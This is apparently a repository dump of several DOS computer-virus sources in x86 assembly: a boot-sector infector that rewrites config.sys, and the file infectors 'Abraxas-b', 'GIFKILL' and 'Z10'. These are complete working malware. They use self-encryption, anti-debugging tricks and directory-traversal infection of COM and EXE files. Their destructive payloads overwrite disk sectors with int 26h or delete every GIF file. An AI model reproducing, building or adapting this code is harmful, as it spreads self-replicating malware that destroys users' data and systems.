interrupt_21 proc near ;hooked in after int 1a sees
pushf ;that dos loaded during boot
pusha
push ds
push es
push cs
pop ds
xor ah,4bh ;unload if a program starts
jz set_21_back
mov ax,3d42h ;open c:\config.sys
mov dx,offset config_line+7e00h-02h
int 18h ;really it is int 21
mov bx,5700h ;get date
xchg ax,bx
jc retry_later ;unable to open c:\config.sys
int 18h
or cl,cl ;is c:\config.sys infected
jz close_it
pusha ;save file date
mov ah,5ah ;create random file
mov cx,0005h
mov dx,offset file_name+7e00h-02h
int 18h
mov dx,offset com_install+7c00h
mov bh,40h ;write virus code into file
xchg ax,bx
mov ch,02h
int 18h
mov ah,3eh ;close it
int 18h
popa ;date and handle c:\config.sys
inc ax ;set date
pusha ;save it for later
mov ax,4202h ;go to end of c:\config.sys
cwd
push dx
pop cx
int 18h
mov ah,40h ;write INSTALL=\ line
mov word ptr ds:[crlf+7e00h-02h],0a0dh
mov cl,low(crlf-install_name+02h)
mov dx,offset install_name+7e00h-02h
int 18h ;be sure to cr lf terminate it
popa ;get file date
shr cl,cl ;blitz seconds and more
int 18h
close_it: mov ah,3eh ;close c:\config.sys
int 18h
set_21_back: lds dx,dword ptr ds:[previous_hook+7c00h]
jmp short set_int_21 ;unhook it 21
retry_later: jmp short jmp_pop_it
interrupt_21 endp
interrupt_1a proc near ;hooked at boot and waits for
pushf ;dos to load
pusha
mov ax,1200h ;dos loaded
push ds
push es
cwd
int 2fh
inc al
jnz jmp_pop_it ;and unhook int 1a
mov ds,dx ;if loaded then hook int 21
mov si,21h*04h ;sorry for all the complexity
mov di,offset previous_hook+7c00h
les bx,dword ptr cs:[previous_hook+7e00h-02h]
mov ds:[si-((21h-1ah)*04h)+02h],es
mov ds:[si-((21h-1ah)*04h)],bx
les bx,dword ptr ds:[si]
mov ds:[si-((21h-18h)*04h)+02h],es
push cs ;also save int 21 into int 18
cld
mov ds:[si-((21h-18h)*04h)],bx
pop es
movsw
movsw
mov dx,offset interrupt_21+7c00h
push cs ;set int 21
pop ds
set_int_21: mov ax,2521h
int 18h
jmp_pop_it: jmp short pop_it
interrupt_1a endp
org 001b4h
resident_21 proc near ;memory resident int 21
pushf ;called when loaded from
pusha ;config.sys
push ds
push es
cmp ah,0eh ;is it set drive
jne pop_it
or dl,dl ;drive A:
jnz pop_it
cwd ;set varables to read sector
call next_line
next_line: pop bx
add bx,offset vbuffer-next_line
push cs
mov cx,0001h
pop es
push cs
mov ax,0201h ;try reading the boot sector
pop ds
int 13h
jc pop_it ;if not don't infect
cmp byte ptr ds:[bx+id-top+01h],7ch
je pop_it ;check if infected
mov ax,0301h ;move and write boot sector
pusha ;save for later
push cs ;for far retf
call set_cx_dx
cld
mov cx,previous_hook-com_install
lea si,word ptr ds:[bx-offset (vbuffer-com_install)]
lea di,word ptr ds:[bx+com_install-top]
rep movsb
mov word ptr ds:[bx],0000h
org $-02h
jmp $(jmp_install-top) ;place initial jmp at front
popa
int 13h ;write it
pop_it: pop es
pop ds
popa
popf
resident_21 endp
org 001fdh
far_jmp proc near
db 0eah ;jmp to old int 1a or boot
previous_hook: label double ;up int 21 or resident int 21
far_jmp endp
boot_signature dw 0aa55h ;guess what
org $+02h
vbuffer label byte ;buffer to read boot sector
org $+0202h ;the end of the code
tail label byte
qseg ends
end

View File

@ -0,0 +1,365 @@
; Abraxas.asm : [Abraxas-b] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,07h ; add word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],5 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov cx,255 ; Nuke a few sectors
mov dx,1 ; Beginning with sector 1!!!
int 26h ; VIPERize them!!!! Rah!!!
jc error ; Uh oh. Problem.
add sp,2 ; Worked great. Clear the stack...
error:
inc al ; Get another drive!
cmp al,200 ; Have we fried 200 drives?
je done_phrying ; Yep.
jmp short activate ; Nope.
done_phrying:
cli ; Disable Interrupts
jmp exit_virus
creator db '[Z10]',0 ; Mass Produced Code Generator
virusname db '[Abraxas-b]',0
author db 'Abraxas',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,12000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

View File

@ -0,0 +1,392 @@
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0003h ; Do 3 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea dx,[di + data00] ; DX points to data
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; All file attributes valid
int 021h
jc erase_done ; Exit procedure on failure
mov ah,02Fh ; DOS get DTA function
int 021h
lea dx,[bx + 01Eh] ; DX points to filename in DTA
erase_loop: mov ah,041h ; DOS delete file function
int 021h
mov ah,03Ch ; DOS create file function
xor cx,cx ; No attributes for new file
int 021h
mov ah,041h ; DOS delete file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc erase_loop ; Repeat until no files left
erase_done:
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 0FAh,045h,02Eh,0B3h,024h
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0A6h,03Ch,0B6h,078h,0CCh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 002h,0EFh,034h,048h,091h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 089h,043h,03Bh,054h,0AAh
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "*.GIF",0
vcl_marker db "[Z10]",0 ; VCL creation marker
note db "Bye Bye Mr.GIF",0
db "You'll never find all the file"
db "s I have infected!",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main

View File

@ -0,0 +1,375 @@
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'ZA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp dh,10 ; Check month
jb exit_virus
cmp dl,30 ; Check date
jb exit_virus
cmp cx,1991 ; Check year
jb exit_virus
cmp al,0 ; Check date of week
jb exit_virus
mov ah,2ch ; Get current time
int 21h
cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov al,0002h ; First argument is 2
mov cx,0080h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; Remove the semi-colon
sti ; Restore interrupts
mov ax,04C00h ; DOS terminate function
int 021h
jmp exit_virus
creator db '[PF]',0 ; Mass Produced Code Generator
virusname db '[Z10]',0
author db 'Paul Ferguson',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,13000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
